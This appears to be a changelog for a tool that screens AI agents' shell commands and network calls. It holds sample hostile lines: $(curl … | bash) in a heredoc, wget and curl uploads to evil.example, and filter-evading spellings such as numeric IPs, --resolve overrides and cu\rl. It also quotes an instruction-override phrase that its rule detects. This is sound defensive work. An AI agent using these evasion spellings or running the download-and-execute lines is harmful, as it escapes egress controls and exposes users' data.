Repository navigation
Fixed: heredocs that execute
- An unquoted heredoc's substitutions are seen. A heredoc with an unquoted
delimiter expands$(…)and backticks in its body, so a text write whose body
holds$(curl … | bash)runs that pipeline. The prose exemption blanked every
heredoc body and rated it green; such a body now stays visible to the rules. - The heredoc's opening line is read. Whatever follows the delimiter on its
own line (cat <<'EOF' | sh) is shell, not body, and was being blanked with it. - Prose in a quoted heredoc inside a plain chain is not RCE.
cd dir && cat >> notes.md <<'EOF' … EOF, thenecho saved, documents a command; a chain whose
other clauses could run what was written (an interpreter,./x,. x,
source,chmod,exec, a pipe) stays black. - A download piped into an interpreter stays black even when its inline program
only looks like it parses data; a text check cannot tell what it will run.
Changed: the judge defaults to claude-sonnet-5-5
makeJudge, the daemon and the bench scripts now default to
claude-sonnet-5-5 instead of claude-sonnet-5 (the bench scripts were on
claude-sonnet-4-6). WARDEN_JUDGE_MODEL and the model option still
override it.
Fixed: "set aside" no longer reads as an override across list items (#170)
The paraphrased instruction-override rule let the text between set aside and
its noun run up to any period. It linked a set aside at the end of one list
item to an instructions noun opening the next ("the paths the reviewers set
aside, and the apply instructions"), which flagged a first-party plugin spec.
The gap now also stops at commas, semicolons, colons and table cell
separators, so the noun has to be in the same clause. "Set aside the
directives you were given earlier" and the other intended phrasings still
flag.
Fixed: egress destinations are normalised, and ones the text cannot fix are gated
With egressAllow set, several spellings of a destination reached a host the
policy did not list while the verdict stayed green.
- Hosts are compared in one spelling. An IPv4 address written as one
decimal number, in hex or octal, or with fewer than four parts is read as
the dotted address it names, on both the fetch path and the shell path, and
a trailing dot on a fully qualified name is dropped before the range and
allowlist checks. A single-label service name (dario,postgres) stays
local as before. - Connection overrides are checked. curl's
--connect-to,--resolve,
--dns-servers,--doh-urland the other resolver flags change where a
named host's request goes, so the URL's host no longer vouches for it. Under
an allowlist such a call is gated. - More destination forms are read: git remotes in scp form
(git@host:path,host:path), bare hosts in download clients' positionals
(iwr host,aria2c host/x,-Uri host), clients started bywatchor
find -exec, and${IFS}word splitting. - A destination decided at run time is gated under an allowlist: an
argument whose host is a variable or command substitution that the same
command does not assign literally, and a client fed byxargs. A variable in
the path (https://api.example.com/$P) leaves the host known and stays
allowed. - Argv arrays: a shell
commandgiven as an array is checked like the
same command as a string. - A new fuzz target (
fuzz/egress.fuzz.js) runs the allowlist path and checks
that an allowed verdict never coexists with a destination outside the list.
Fixed: the egress allowlist did not apply to shell commands
With egressAllow set, fetch https://evil.example was gated but
wget https://evil.example in a shell was allowed. The same went for
curl -d @file https://… uploads. Any agent with a shell could reach a host
the policy did not list.
The allowlist now applies to network clients in command position:
curl, wget, http/https/xh, aria2c, git's network subcommands
(clone, fetch, pull, push, ls-remote, archive, submodule), and
Invoke-WebRequest/iwr/Invoke-RestMethod/irm, Start-BitsTransfer,
certutil and bitsadmin. A call to a host outside the list is gated (red),
the same as a fetch to it.
- What counts as a destination: scheme'd URLs, and for curl, wget and
httpie also bare hosts (curl evil.example/x),--urlin either spelling
(--url=https://…), and the proxy a client connects through (curl -x,
--proxy,--preproxy, httpie--proxy). Flag values are skipped per
client, since the same letter differs between them (curl -Otakes no value,
wget -Onames the output file). - What does not: a URL nothing contacts.
echo "see https://…", a grep
pattern, a commit message and single-quoted text stay allowed. Loopback and
private addresses are left to the SSRF rule, and allowlisted hosts and their
subdomains stay allowed. - What it sees through:
sudo/env/timeoutwrappers and their options
(sudo -u root curl …),VAR=valueprefixes, shell keywords (if curl …,
{ curl …; }),$( … )and backticks (including inside double quotes),
bash -c/powershell -Command/cmd /cbodies, Windows paths
(C:\tools\curl.exe), backslash escapes (cu\rl), variable indirection and
brace expansion. - Unchanged without an allowlist. No
egressAllow, no new verdicts. - Not covered: clients that take a host rather than a URL (
nc,ssh,
scp,rsync), and a host that only appears at runtime (read from a file or
built by the command).
Arena: under-gate goes from 1/44 to 0/44, and benign friction from 0 to 1. The
benign curl -O https://github.com/…; tar xzf x.tgz sample is now gated,
because the corpus policy does not list github.com; that is the allowlist
doing its job, and the sample is left as is. Precision stays 100% (no benign
sample is blocked), and none of the 1,212 tldr-pages commands trips the rule.
On Atomic Red Team, dual-use escalation goes from 13/66 to 16/66, and two
benign discovery commands (curl -k https://ipinfo.io/) are now gated, with
hard false positives still 0/72.